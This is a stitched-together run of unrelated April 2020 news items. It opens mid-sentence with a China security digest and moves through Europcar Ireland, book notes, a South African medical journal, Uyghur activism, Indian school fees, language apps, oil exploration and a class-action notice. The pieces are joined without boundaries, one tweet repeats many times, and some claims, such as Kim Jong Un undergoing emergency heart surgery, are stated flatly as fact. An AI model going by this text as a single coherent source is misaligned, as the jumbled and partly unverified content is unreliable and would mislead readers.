died at home. The number of confirmed cases was also increased, by less than one percent, to 50,333. Scientists, medical personal, residents and visiting journalists have all reported that the number of people infected and the number of dead was much larger than the official data. China handled this by silencing those who deviated from the official version. In many cases a warning or visit by the secret police worked. In some cases, there were arrests or critics simply disappeared. The official government explanation for covid19 is that it is American and introduced into Wuhan in late 2019. Chinese diplomats worldwide have been ordered to coerce foreign nations to go along with that using any means necessary. That usually involves economic or other threats. Four Chinese coast guard ships came into Japanese territorial waters (within 22 kilometers of one of the Senkaku Islands) and remained in the area for 90 minutes despite warnings to leave. This was the seventh such Chinese incursion in 2020. In response to that, three weeks ago Japan established a military base on Miyako Island (between Senkaku Island and Okinawa). The Miyako and Senkaku islands are between Okinawa and Taiwan. Actually all three of these island systems dominate the seas between Japan and Taiwan and China has been making claims to some of these islands, especially the Senkakus and indicating that all of these Japanese islands are actually Chinese. The new garrison on Miyako Island has 380 troops and is being equipped with anti-aircraft and anti-ship missiles. Chinese naval ships have frequently entered Japanese territorial waters (within 22 kilometers of land) around the Senkaku islands and remained in Japanese waters for an hour or more. There have been over twenty of these incidents since 2017. Miyako Island is 210 kilometers from the Senkakus and Japan plans to put garrisons on more of these small islands. April 16, 2020: In the Malaysian portion of the South China Sea a Chinese warship (escorting a survey ship) arrived near where Malaysian oil exploration ship was working. The Chinese consider such Malaysian activity in offshore waters to be illegal even though the area in question is recognized as Malaysian by international agreements. China claims most of the South China Sea as Chinese and uses intimidation tactics like this to compel acceptance of their claims. In this case China soon learned that American and Australian warships were on their way to the area. Intimidation is a two-way street. China officially denies there is any naval confrontation but the photos and video say otherwise. Chinese UAVs seem to be doing better in Libya than the Turkish ones their opponents are using. Today LNA (Libyan National Army) forces shot down another Turkish Bayraktar TB2 UAV. This is the eighth Turkish UAV the LNA shot down this month. So far the LNA has claimed to have taken down 28 Turkish UAVs. Photographic evidence is not available for some of destroyed UAVs is available and the LNA admits that some of the Bayraktar TB2s were destroyed over the enemy (GNA/Government of National Accord) controlled areas. The LNA is actively supported by several Arab states, mainly Egypt and the UAE (United Arab Emirates). The UAE has been operating its Chinese armed UAVs in Libya for several years and the LNA has an active air force (courtesy of Russian technicians and material support) that can shoot down large UAVs like the Bayraktar TB2. Despite these combat losses, the Turkish UAVs have performed as expected and are considered equal to the Chinese UAVs. All these UAVs are based on the American Predator and not designed to survive in a combat zone where the opposition is equipped with modern anti-aircraft weapons. The Turks intervened in Libya last year because the weaker (controls about ten percent of Libya) GNA was recognized by the UN and willing to sign a treaty with Turkey to bolster Turkish claims on Greek offshore waters where there might be natural gas deposits. The LNA controls most of Libya and has the support of most Libyans. China does not supply weapons directly to the LNA but does sell weapons to anyone who can pay and the UAE has bought a lot of weapons, including UAVs, from China and used them in Libya without any complaints from China. As far as China is concerned with their UAVs' successful performance in Libya makes their UAVs easier to sell as combat proven. April 12, 2020: In North Korea dictator Kim Jong Un underwent emergency heart surgery. April 4, 2020: Somalia has discovered that one of four Somalis who had returned from China in March had covid19. This was the first such case known to be in Somalia and the man is being treated. If covid19 gets loose in Somalia the local health system wont be of much help because the local health system is largely non-existent. So far confirmed cases of covid19 are low (about 25 per million people) as were confirmed covid19 deaths (about one per million Somalis. April 3, 2020: The Chinese navy boasted that only China had an operational aircraft carrier in the West Pacific because all four American large carriers were forced into port because of covid19. The U.S. responded that there were American helicopter carriers in the West Pacific that can operate more jets than the Chinese Liaoning is, according to China, a training carrier and in practice China does not have many pilots of jets capable of operating it from it. Thus a few American F-35Bs operating from helicopter carriers are more than a match for the Liaoning. In addition, there is an active carrier task force near the Persian Gulf that could be off the China coast in seven days. April 2, 2020: China has announced that it is establishing a scientific research stations in the South China Sea on Subi (Zamora) Reef and Fiery Cross (Kagitingan) Reef. Both of these locations are in the South China Sea. Subi Reef is Filipino because it is within 22 kilometers of Pagasa Island, which is Filipino sovereign territory. China also occupies Mischief Reef and Mckennan Reefs which are both on the Filipino continental strength and, according to international law, part of the Philippines. Off the coast of Vietnam, near the Paracel Islands (Woody Island) a Chinese coast guard ship rammed and sank a Vietnamese fishing boat. According to China, such fishing is illegal because China has claimed (and occasionally occupied) the Paracel islands since 1974 when it used force to drive off South Vietnamese forces seeking to take possession. China considers Woody Island part of China and that all waters within 22 kilometers of this Chinese territory are Chinese as well and unauthorized visits by foreigners are forbidden. The problem is that international law does not recognize these Chinese claims and the Chinese make it clear they do not care what the rest of the world thinks. Woody Island is still claimed by Vietnam as well as Taiwan. In North Korea at least a dozen cargo trucks were seen crossing the Friendship Bridge at the Dandong border crossing. This is normally the busiest trade route between China and North Korea and it has been closed since the end of January because of covid19. China recently allowed North Korean run restaurants in China to reopen. April 1, 2020: In the South China Sea, Chinese coast guard ships are patrolling Second Thomas Shoal, First Thomas Shoal, and Half Moon Shoal, all within the Filipino EEZ (Exclusive Economic Zone, waters 380 kilometers from the coast) but now claimed by China. The Philippines EEZ in the South China Sea is where Filipinos have been fishing the reefs and other shallow waters for centuries, long before there was a Philippine state and without interference from Chinese fishermen, who only occasionally showed up. Thats because fishing boats with refrigeration, a 20th century invention, only recently made it possible for Chinese fishermen to scour the entire South China Sea for fish to profitably catch, refrigerate and carry back to China. The 20th century also meant the possibility of finding oil or gas deposits in the South China Sea as well as controlling key shipping routes via the Malacca Strait. The chief of Europcar in Ireland said the car hire industry hopes the planned restart of the construction industry in the coming weeks will demonstrate that social distancing will allow workers to work safely and point the way for the rest of the economy to reopen in time. Colm Brady, managing director of Europcar Mobility Group Ireland, said that in a normal year the business would be gearing up for its peak summer tourism from 20 locations and preparing to hire through April and May for the Irish and UK bank holidays in May. The company which also owns Gocar.ie, would have 10,000 vehicles, available for its summer peak. Mr Brady said that Gocar.ie is still relatively busy as drivers continue to use the cars for short trips to the shops and the doctor. He said that construction in the coming weeks can show the way for industries to open up and for domestic tourism to return towards the end of the year. For inward tourism, Mr Brady said the company will have to focus on hopes of recovery by the time of the UK bank holidays late in the year and for Christmas, as well as to start thinking about what St Patricks Day holiday will look like in 2021. He said this time of year would normally be a hive of activity. I have seen nothing like this in 20 years even with Foot and Mouth, September 11, and the Ash Cloud, he said. In a normal year, Europcar would be preparing to hire staff for its summer peak through April and May and its commercial van hire business would be thriving. The parent group in Paris has said it was in talks with the Spanish and French governments on ways to preserve its cash resources through the summer. In an update on Wednesday, Europcar Mobility Group said it had completed plans to tap a second tranche of loans 70%-guaranteed by the Spanish state for its Europcar and Goldcar firms in Spain to meet its financing needs and its corporate needs related to the impacts of the COVID-19 pandemic. It said it was continuing talk with the French government and some of its banks to obtain more loans guaranteed by the French state.. The group is also continuing its efforts through its foreign subsidiaries in countries where similar support measures have been deployed, it said. "As part of the cash preservation plan announced on March 23rd and updated on April 15 2020, with first the finalisation of lines of financing 70%-guaranteed by the Spanish state for an amount of 36m,the group announces the finalisation of the second tranche of this Spanish state-guaranteed programme, with new 3-year maturity lines for a global amount of 31.25m for its two operating subsidiaries in Spain - under the Europcar and Goldcar banners," it said. Recent books of interest: WHITEOUT CONDITIONS, by Tariq Shah. (Two Dollar Radio, paper, $14.99.) Funerals are kind of fun, the narrator of Shahs debut admits in the opening pages. Ive cultivated a taste. Then his childhood friend dies, and the narrator must brave a blizzard to pay his respects. I, JOHN KENNEDY TOOLE, by Kent Carroll and Jodee Blanco. (Pegasus, $25.95.) This novel tells the real-life story behind A Confederacy of Dunces, the cult classic that won a Pulitzer after Toole, its author, committed suicide. Carroll has a direct link to the material: He helped promote Tooles book and brought out the paperback version. PHILOSOPHER OF THE HEART: The Restless Life of Soren Kierkegaard, by Clare Carlisle. (Farrar, Straus & Giroux, $30.) Carlisles probing biography shows how Kierkegaards philosophical concerns chiefly, how to exist in the world played out in his tortured relationship with the fiancee he abandoned. TREE STORY: The History of the World Written in Rings, by Valerie Trouet. (Johns Hopkins University, $27.) In this primer, a dendrochronologist explains how tree rings reveal the past via a science that exists at the nexus of ecology, climatology and human history. For example, do they resuscitate patients even though the prospects of recovery are slim and the risk to the healthcare team high? How should healthcare workers respond? This is one of the topics covered in the COVID-19 Special Issue of the Wits Journal of Clinical Medicine. The journal, published by Wits University Press under open access conditions, presents the first clinical data on COVID-19 published in South Africa. The special issue covers a range of aspects of the pandemic, from the clinical, through ethical, to the social dynamics of its impact. Highlights include: Diagnosis of COVID-19: Considerations, controversies and challenges in South Africa Social dimensions of COVID-19 in South Africa: A neglected element of the treatment plan Clinical ethical challenges in the COVID-19 crisis in South Africa Potential impact of SARS-CoV-2 infection in HIV-positive patients in South Africa COVID-19: The concept of herd immunity - is it a strategy for South Africa? Editor-in-chief of the Wits Journal of Clinical Medicine Professor Pravin Manga says it is important for health professionals and the public to have access to scientific information: Social media is awash with all sorts of quackery regarding prevention and treatment remedies for COVID-19 and it is during these times that we need to be rational and be guided by science rather than by emotion." Professor Pravin Manga, Editor-in-chief of the Wits Journal of Clinical Medicine Manga is Professor of Internal Medicine, School of Clinical Medicine, in the Faculty of Health Sciences at Wits. In addition to being a public resource, more than 10 articles in this issue aim to guide healthcare workers. These articles address the ethical aspects related to the pandemic. For example, which patients should healthcare workers admit to already-filled intensive care units and who decides this? Associate Professor Kevin Behrens, Director and Head of the Steve Biko Centre for Bioethics discusses such ethical conundrums in his review. Professor Laurel Baldwin-Ragaven in the Department of Family Medicine and Primary Care presents a sobering overview of how some of South Africa's vast social disparities may manifest during COVID-19, and outlines our clinical and social responsibilities. Professor Charles Feldman in the Division of Pulmonology, Department of Internal Medicine at Wits interrogates the aggravating issue of South Africa's additional burdens of HIV and tuberculosis and the risk of COVID-19 infection in HIV-positive patients. Professor Ismail S. Kalla in Pulmonology in Internal Medicine and Professor Abdullah Laher in Emergency Medicine in the School of Clinical Medicine explore whether herd immunity offers possibilities as a strategy for fighting COVID-19 in South Africa. This special issue includes a guide to worldwide Medical Resources on COVID-19, as well as a handy poster-style patient guide for healthcare workers. Vutiliti, a Salt Lake City, Utah-based smart utility monitoring company, raised $11.75m in Series A funding. The round was led by Constellation Technology Ventures and Cycle Capital Management with participation from Chevron Technology Ventures, University Venture Fund, and a continuing investor, Kickstart Seed Fund. The company intends to use the funds to accelerate global expansion and development of its proprietary HotDrop technology and utility monitoring systems. Led by Steve Ellis, CEO and Founder, Vutiliti is an energy data company that focuses on utility efficiency through detailed, timely and accurate measurement data. Its data collection and insights management system can simultaneously lower greenhouse gas emissions, utility expenses, and the risks of equipment. FinSMEs 28/04/2020 PR-Inside.com: 2020-04-28 14:20:03 Nordea Bank Abp - Stock exchange release - Notice to general meeting COPENHAGEN, Denmark , April 28, 2020 (GLOBE NEWSWIRE) -- The shareholders of Nordea Bank Abp (the "Company") are hereby summoned to the Annual General Meeting to be held on Thursday 28 May 2020 at 3.00 pm EET at the headquarters of Nordea, Hamnbanegatan 5, Helsinki, Finland. Shareholders can only participate in the Annual General Meeting and exercise their shareholders' rights by voting in advance or through a proxy representative, and by posing counterproposals and questions in advance. Instructions to shareholders are further described in Section C of this notice. It is not possible to attend the meeting in person. Due to the COVID-19 pandemic and in order to ensure the health and safety of the Company's shareholders, employees and other stakeholders, the Board of Directors of Nordea Bank Abp has resolved on extraordinary meeting procedures pursuant to the temporary legislation adopted by the Finnish Parliament on 24 April 2020. Shareholders can follow the Annual General Meeting through a web stream in accordance with the instructions at www.nordea.com/en/annual-general-meeting . It is not possible to ask questions or vote through the web stream and following the web stream without voting in advance or issuing a proxy is not considered as participation in the Annual General Meeting. Click on, or paste the following link into your web browser, to view the associated PDF document. http://www.rns-pdf.londonstockexchange.com/rns/1800L_1-2020-4-28.pdf This information is provided by RNS, the news service of the London Stock Exchange. RNS is approved by the Financial Conduct Authority to act as a Primary Information Provider in the United Kingdom. Terms and conditions relating to the use and distribution of this information may apply. For further information, please contact rns@lseg.com or visit www.rns.com . In a major relief to parents, Uttar Pradesh government on Monday (April 27) ordered all schools in the state to not raise the fees in due to the coronavirus COVID-19 outbreak. Special Secretary Rajesh Kumar issued an order in this regard saying the government has already declared coronavirus outbreak as a disaster, and to curb the spread of he pandemic, a nationwide lockdown has been announced which has badly affected the income of many parents across Uttar Pradesh. "It is ordered to all the schools of all boards in the state that there will be no hike in school fees for the 2020-21 session or any other kind of hike in admission charges," he said. The Special Secretary added that the schools must follow the fee structure of 2019-20 session and if hiked fees has been collected by any school then the extra money must be adjusted in next month fee. On April 17, Delhi government had prohibited all private schools in the national capital from hiking their fees and charging transportation fees from the students amid the COVID-19 lockdown period. The government also directed schools to charge fees only on a monthly basis and not quarterly. "All private schools in Delhi are operated by trusts and their basic mandate is to serve the society. They cannot harass parents like this. The government has decided not to allow any private school to hike fees without taking prior approval from the government. The rule is applicable for all schools irrespective of the fact if the school is built on government or private land," Delhi Education Minister Manish Sisodia had said. Princess Hend Faisal Al Qassimi, a member of the United Arab Emirates (UAE) royal family, took to Twitter on Sunday to issue a rare voice of support from the Muslim world for ethnic Uyghurs enduring persecution in northwest Chinas Xinjiang Uyghur Autonomous Region (XUAR). The author and fashion editor who has spoken out against Islamophobia, including by recently shaming Indian nationals living in Dubai who had posted anti-Muslim tweets, was responding to a call by Uyghur activist Arslan Hidayat on social media for Muslims to post images of themselves marking Ramadan to show solidarity with Uyghurs, who are largely prevented from participating in the religious activities of the holy month by Chinese authorities. In her video, Al Qassimi greets her fellow Muslims observing Ramadan and expresses her hope that authorities will release the up to 1.8 million Uyghurs and other Muslim minorities accused of harboring 'strong religious views' and 'politically incorrect' ideas who are believed to have been detained in a vast network of internment camps in the XUAR since April 2017. She also calls on adherents of Islam to stand together against this Muslim Holocaust thats happening in China. Al Qassimis response prompted Hidayat to post a tweet calling on 'royalty in the Arabian gulf and #Muslim influencers around the world' to follow her lead and publicly voice their solidarity with the #Uyghur Muslims who are suffering in #Chinas #ConcentrationCamps. Al Qassimis video came days after the Munich-based World Uyghur Congress exile group issued a statement for Ramadan noting that the Organisation of Islamic Cooperation (OIC) and the leaders of Muslim-majority nations in the Middle East have been shamefully silent on the persecution of Uyghurs in the XUAR, and calling for pressure on China to stop its crimes against humanity in the region. It also follows a July 2019 meeting in Beijing between Chinese President Xi Jinping and UAE Crown Prince Mohammed bin Zayed al-Nahyan, during which the Emrati royal backed Beijings crackdown on the Uyghurs, citing security concerns. Speaking to RFAs Uyghur Service, Al Qassimi acknowledged that the Muslim and Arab world has been largely unaware of the situation in the XUAR citing language barriers and ongoing wars in many Muslim-majority nations, but said she hopes to help highlight the plight of the Uyghurs. I stumbled upon [the campaign] on Twitter, and I had no idea that this was happening. I visited China and I liked it very much. I love the culture, I like the food, I love the fashion. I like how a country that was a farming nation became a superpower. I was very happy for them. But later on, when I saw what they were doing to the Uyghurs, I didnt like it and I hope that we can do something to stop it. Maybe we can speak to the Chinese government and tell them to stop. I posted a video today and, in that video, they show that China did this against the Uyghurs [in part] because there were 33 killings [during an incident of Uyghur unrest] in a train station, but one person doesnt represent 11 million [Uyghur] people. And I know they were concerned because they didnt want to become another spot for terrorism. But even us Muslim countries, sometimes suffer from these extremists. And extremists can come from any religion or even a political side. It doesnt have to be a Muslimit can be an extremist Christian or an extremist Hindu, like we see today in India. What I dont understand is how can [Beijing] allow this to continue? How can they afford to put people into camps? This is not good for business for China. I think they should simply spread the message of peace between the people that theyre scared of, but this is not a solution. Killing people or putting them inside these camps is not a solution. Youd be fighting for your life You dont know this about the Arab world. Theyre going through a crisis themselves. We just finished a war, so when people are fighting for their lives here, they can only take care of so many things. If you are living in Turkey and you have a war with Russia and somebody comes and tells you, We have a war in Africa, come help us, were Muslims, would you turn around? Youd be fighting for your life. Theres war in Libya, theres war in Yemen, theres war in Syria. People are dying by the hundreds of thousands. In Lebanon, in Palestine, in Iraqthey have ISIS, they have Al Qaeda. Its horrible, its a nightmare. I know a family that was richthey dont have food to eat. Theyre being starved to death So, do you think people like this have time to go on the internet and check out whats happening in Uyghur country? No. Theyre not bad, but theyre also suffering. The whole world is suffering. Everyone is carrying a burden, but the Arab world especially is famous for [this] These countries are going through a war. They dont have time to go learn about the Chinese. They dont speak their language and they dont know about them. This is a responsible thing we should do. Im hoping that by simply speaking about what China is doing in a polite way, maybe they will turn. Im not doing it in an aggressive way because if you do it in an aggressive way, they will attack, and they will not listen We should stand together and approach the Chinese government about ending the camps. Reported by Nuriman Abdurashid for RFAs Uyghur Service. Written in English by Joshua Lipes. By Tim Cocks JOHANNESBURG (Reuters) - South Africa's divisions over race and wealth inequality, which the COVID-19 crisis had briefly sidelined, returned to the fore on Monday's 26th anniversary of the end of apartheid. President Cyril Ramaphosa has been praised for decisive action to curb the epidemic in Africa's most industrialised nation, which has one of the continent's strictest lockdowns and has recorded just 4,546 cases and 87 deaths By Tim Cocks JOHANNESBURG (Reuters) - South Africa's divisions over race and wealth inequality, which the COVID-19 crisis had briefly sidelined, returned to the fore on Monday's 26th anniversary of the end of apartheid. President Cyril Ramaphosa has been praised for decisive action to curb the epidemic in Africa's most industrialised nation, which has one of the continent's strictest lockdowns and has recorded just 4,546 cases and 87 deaths. "South Africans have come together like never before to wage the struggle against this virus," Ramaphosa told the nation. However, recriminations are rising over inequalities in conditions to cope with the restrictions and distribution of aid around an economy already in recession. "Our government loves ... to keep white people happy and safe, even at the expense of Africans," complained Julius Malema, firebrand leader of the far-left Economic Freedom Fighters party, in a statement. At the other end of the political spectrum, white minority party Afriforum and allied union Solidarity threatened legal action against the tourism department which they accused of overlooking white-owned businesses for assistance. Of a 500 billion rand ($26.64 billion) coronavirus rescue package, nearly a fifth has been set aside for the poor and unemployed. Much of the rest will help businesses keep afloat, not least the ravaged tourism sector. But Afriforum and Solidarity, who plan to go to court on Tuesday, complained that "the Department of Tourism will ... discriminate against you based on the colour of your skin" when it came to deciding who gets aid. In a rebuff earlier this month, Tourism Minister Mmamoloko Kubayi-Ngubane said that the state was offering one-off small grants to small businesses guided by black empowerment criteria, but added: "Any person or business in the tourism sector can apply for the fund, regardless of the colour of their skin." ENDURING INJUSTICES Twenty-six years ago, South Africans rejoiced at their first ever fully inclusive democratic election, which saw Nelson Mandela elected as their first president under black majority rule, ending decades of toxic apartheid. But critics say Mandela's legacy party, the African National Congress, has not done enough to redress inequalities in land, wealth and access to services that are apartheid's most enduring legacy, and which on some measures have worsened. A government study last year found that whites on average earned more than four times as much as blacks. A year earlier, the state Human Rights Commission said in a report that the richest 10% of South Africans owned more than 90% of wealth. Daniel Silke, of Political Futures Consultancy, said the coronavirus crisis had briefly put political divisions on the backburner before then pumping them up with "steroids". "The corona outbreak has brought into sharpest focus, the ... inequalities that exist between black and white people in South Africa," added Malema in a withering statement few would deny, although it omitted to mention a growing, wealthy black elite that includes him. "Even when they want to be in self-isolation, our people do not have spacious houses to isolate into because they stay in shacks. Even when they want to keep maximum hygiene ... they do not have access to clean water." In his televised speech, Ramaphosa acknowledged that while "some people have been able to endure the coronavirus lockdown in a comfortable home with a fully stocked fridge, for millions of others, this has been a month of misery, of children going to bed and waking up hungry." ($1 = 18.7665 rand) (Editing by Andrew Cawthorne) This story has not been edited by Firstpost staff and is generated by auto-feed. If youre March or April-born, you have our condolences - changes are that youve missed being able to celebrate your birthday this year. Its been particularly upsetting for senior citizens, many of whom have expressed feelings of isolation and loneliness during the lockdown period. Fortunately, one resident of Panchkula, Haryana found himself overwhelmed and overjoyed to find a birthday party of sorts held in his honour - by the local police department! Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 In this video shared by Haryanas Cyber Crime Superintendent IPS Pankaj Nain, a cadre of officers went up to senior citizen Karans home with a birthday cake and cheered the man on - who soon burst into tears. A police officer comforted the man by saying Were your family too, before allowing him to cut his cake. IPS Nain captions the video, saying, "Interactions with Police is always emotional - be it fear, anger, anxiety or gratitude. But I have never seen such an overwhelming emotional burst. See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone." Social media erupted in cheers for the Panchkula police department: Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 A few users, however, called out the police for using this as a PR exercise - taking attention away from crucial issues. Soon after, several also called for an improvement in the work conditions and image of police officers in Haryana. Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 This goes to show how a little bit of kindness can go a long way. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, April 28, 2020 13:21 624 fc6853813033f564188675f8bd4abcab 1 Lifestyle online-course,language-lesson,language-learning-app,language-course,online,website,application Free Those who have time on their hands during this self-quarantine period are probably the most fortunate people as many (free) opportunities are open to expand your knowledge and learn new skills. For those who are interested in spending their free time by learning a new language, below is a list of recommended websites and mobile applications to do so: Drops Named Google Play's Best App of 2018, Drops allows you to learn vocabulary relevant to different topics in just five minutes. Its easy and engaging to follow with its attractive illustrations and interactions. The app also has a feature named Travel Talk, which covers words and phrases that are useful during your trip. Drops is available in more than 35 languages, including Korean, Ainu, Samoan, Tagalog, Thai, Cantonese, Norwegian and Esperanto. Though available for free, the app also offers a paid premium package that includes unlimited session length, offline access and add-free sessions. Get it at : Play Store and App Store Read also: Travelers alert: Google just named a language app as best app of 2018 Loecsen This app allows its users to learn basic phrases, expressions and pronunciations with straightforward illustrations, which is also helpful for travelers who wish to communicate with the natives. Loecsen provides lessons in different languages, among them are Armenian, Burmese, Hebrew, Breton and Latvian; it also allows you to switch languages without having to download a different app. After downloading the app, users will still need to download its audio packages to maximize their learning session. Get it at : Play Store and App Store Learning Burmese (left) and Breton (right) on Loecsen. (Loecsen.com/File) English Page Those who want to sharpen their English may want to visit this website. English Page provides you with lessons about grammars, verbs, prepositions, articles and gerunds complete with exercises. The website also has Listening Lounge where it will display web addresses of online radio stations, and Reading Room, which will connect you to online newspapers, magazines, books and other resources. British Council The British Council has a special page for those who want to improve their English skills. Its business English scope allows people to learn vocabulary, expressions and phrases that could be useful at work, from interview sessions and negotiations to email etiquette. Several sections also feature videos and exercises to enhance your knowledge. Aside from the business English scope, users can also sharpen their listening, reading, speaking and writing skills at the same website. Duolingo Installed by more than 300 million users, Duolingo is no doubt among the most popular language learning apps. It offers personalized and fun learning system that make you feel as if youre playing a game. The app is also recommended for those who have a tendency to procrastinate as theyll receive a reminder when they miss one session. Duolingo is available in a wide array of languages, including French, Japanese, Latin, Gaelic, and even High Valyrian (the language spoken in George R.R. Martins celebrated novel series A Song of Ice and Fire) and Klingon (the language spoken in Star Trek franchise, especially its 1979 film Star Trek: The Motion Picture). Available for free, Duolingo also offers a paid service dubbed Duolingo Plus, which allows users to download their sessions and remove the ads. Get it at : Apple Store and Play Store Learning Klingon (the language spoken in 'Star Trek' universe) on Duolingo. (Duolingo/File) Vocabulary.com On Vocabulary.com, youll be able to enrich your English lexicon by challenging yourself with quizzes or learning from news, historical documents, speeches and books. Various books from different genres can be found on the website, including Leigh Bardugos Six of Crows, George RR Martins A Song of Ice and Fire, J.R.R. Tolkiens The Lord of the Rings and John Greens The Fault in Our Stars. Once you click a word, youll be given a detailed explanation about it, including the definitions, word family and usage examples. By signing up on the website, you can also track your learning progress. The website is free to use and also has subscription plans for teachers. (wir/kes) NEW DELHI When the Indian government eased coronavirus restrictions last week, allowing many shops to reopen in rural parts of the country, Uday Shankar Sharma, a retail store owner in a small farming village, said he had no intention of complying. Over the past few weeks, Mr. Sharma said fear had deepened in Sabna, where he lives in northern India. Community meetings held under a clock tower have stopped. Neighbors barely talk to each other. Streets are so silent that people can hear grasshoppers in the daytime. Mr. Sharma said resuming business was simply too dangerous right now, even though his district of more than three million people has only reported one case of the coronavirus. It is better to stay hungry than to get the coronavirus, he said in a telephone interview. Why should I risk the lives of my family members for a few hundred rupees? New Zealand-owned clothing retailer AS Colour will lease an 18,800 square metre distribution centre in Dexus Foundation Truganina estate in Melbournes west. Dexus' Truganina industrial estate. Credit: In a quid pro quo deal, Dexus will acquire AS Colours existing warehouse at 22 Business Park Drive, in Ravenhall, for around $9 million after signing AS Colour to a new shed at 12B Felstead Drive. The new warehouse is still being built, with an expected finish date in the second half of this year. Both deals were negotiated by Colliers International's Hugh Gilbert and CBREs Todd Grima. Suspended: A refinery operated by PetroNeft, in Nikolayevka, Russia. The company has halted its programme in Russia. Photo: Andrey Rudakov/Bloomberg Oil and gas explorer PetroNeft has found gas in Russia, but has suspended its programme there due to the coronavirus pandemic. The Dublin-listed company is focused on the Tomsk Oblast region of the country, where it owns and operates 50pc of Licences 61 and 67. In a trading update, PetroNeft said that it had re-entered well C-3 in March, which is located on the southern part of the Cheremshanskoye field. Following completion of the test and evaluation of the results, the company now interprets the Jurassic 14 in the C-3 well to be a condensate rich gas cap, where there is potential for future exploration. PetroNeft is studying all the information gathered to decide on the next steps it will take. It is now looking at moving up the well to retest the J1-1 and J1-3, which it believes will be able to produce commercial quantities of oil. The company plans to start drilling in this upper area of the field later this year. "Whilst we are disappointed that we did not flow hydrocarbons at commercial rates, we are pleased that we managed to establish that the J14 interval is a liquids rich gas-filled reservoir," said David Sturt, CEO of PetroNeft Resources. "Initially we had planned to progress up the well to test the upper Jurassic J1-1 and J1-3 intervals to establish commercial production before moving on to test the L-2 and L-2a well on the Ledovoye field. "However, in light of the current economic situation combined with the coronavirus shutdowns in Russia, we believe it is prudent to suspend operations for now," he added. Meanwhile, Irish oil and gas explorer Aminex has appointed Robert Ambrose as interim CEO. The company said all its directors are sacrificing "significant remuneration" in order to save cash costs, while staff costs in the UK are to be reduced by more than 20pc on a temporary basis due to the coronavirus. With its business focus on gas exploration and evaluation and fixed-price sales contracts, Aminex is shielded against the current fluctuations in the global oil price. However, if current restrictions on movement continue for a significant period, there may be a delay in the group's operations in Tanzania as access to sites, personnel and equipment may not be possible, it said. NEW ORLEANS, April 27, 2020 /PRNewswire/ -- Kahn Swick & Foti, LLC ("KSF") and KSF partner, the former Attorney General of Louisiana, Charles C. Foti, Jr., remind investors that they have only until April 28, 2020 to file lead plaintiff applications in a securities class action lawsuit against Aaron's, Inc. (NYSE: AAN), if they purchased the Company's securities between March 2, 2018, and February 19, 2020, both dates inclusive (the "Class Period"). This action is pending in the United States District Court for the Southern District of New York. What You May Do If you purchased shares of Aaron's and would like to discuss your legal rights and how this case might affect you and your right to recover for your economic loss, you may, without obligation or cost to you, contact KSF Managing Partner Lewis Kahn toll-free at 1-877-515-1850 or via email ([email protected]), or visit https://www.ksfcounsel.com/cases/nyse-aan/ to learn more. If you wish to serve as a lead plaintiff in this class action by overseeing lead counsel with the goal of obtaining a fair and just resolution, you must request this position by application to the Court by April 28, 2020 . About the Lawsuit Aaron's and certain of its executives are charged with failing to disclose material information during the Class Period, violating federal securities laws. On February 20, 2020, the Company disclosed that an agreement in principle had been made with its Progressive segment and the Federal Trade Commission regarding the regulator's investigation that, if approved, would require the Company to "make a payment of $175 million and enhance certain compliance-related activities, including monitoring, disclosure and reporting requirements." On this news, the price of Aaron's shares plummeted. The case is Shiva Stein, et al. v. Aarons, Inc., et al., No. 20-cv-01796. About Kahn Swick & Foti, LLC KSF, whose partners include former Louisiana Attorney General Charles C. Foti, Jr., is one of the nation's premier boutique securities litigation law firms. KSF serves a variety of clients including public institutional investors, hedge funds, money managers and retail investors in seeking recoveries for investment losses emanating from corporate fraud or malfeasance by publicly traded companies. KSF has offices in New York, California and Louisiana. To learn more about KSF, you may visit www.ksfcounsel.com. Contact: Kahn Swick & Foti, LLC Lewis Kahn, Managing Partner [email protected] 1-877-515-1850 1100 Poydras St., Suite 3200 New Orleans, LA 70163 SOURCE Kahn Swick & Foti, LLC Related Links http://www.ksfcounsel.com Pictured: Hu Xijin, the editor of the state-run Global Times The editor of a Chinese state media publication has described Australia as 'gum stuck to the bottom of our shoe' as the relationship between the once-friendly nations wanes during the coronavirus crisis. Australia is standing firm on its calls for an independent probe into the origins of COVID-19, sparking fury among Chinese diplomats who have threatened to cut economic ties with the country. China has repeatedly refused to welcome an international investigation into the outbreak, most recently describing the demands of Australia as 'political manoeuvring'. The deadly respiratory virus has infected more than three million people globally, including 6,729 Australians. So far, 212,000 people have died worldwide. Hu Xijin, the editor of the state-run Global Times, on Tuesday shared a post on Weibo saying ties between Australia and China would continue to deteriorate, as a bitter war of words threatened to escalate into a diplomatic disaster. 'After the epidemic, we need to have more risk awareness when doing business with Australia and also when we send our children to study there,' he wrote. 'Australia is always there, making trouble. It is a bit like chewing gum stuck on the sole of China's shoes. Sometimes you have to find a stone to rub it off.' Vendors wearing face 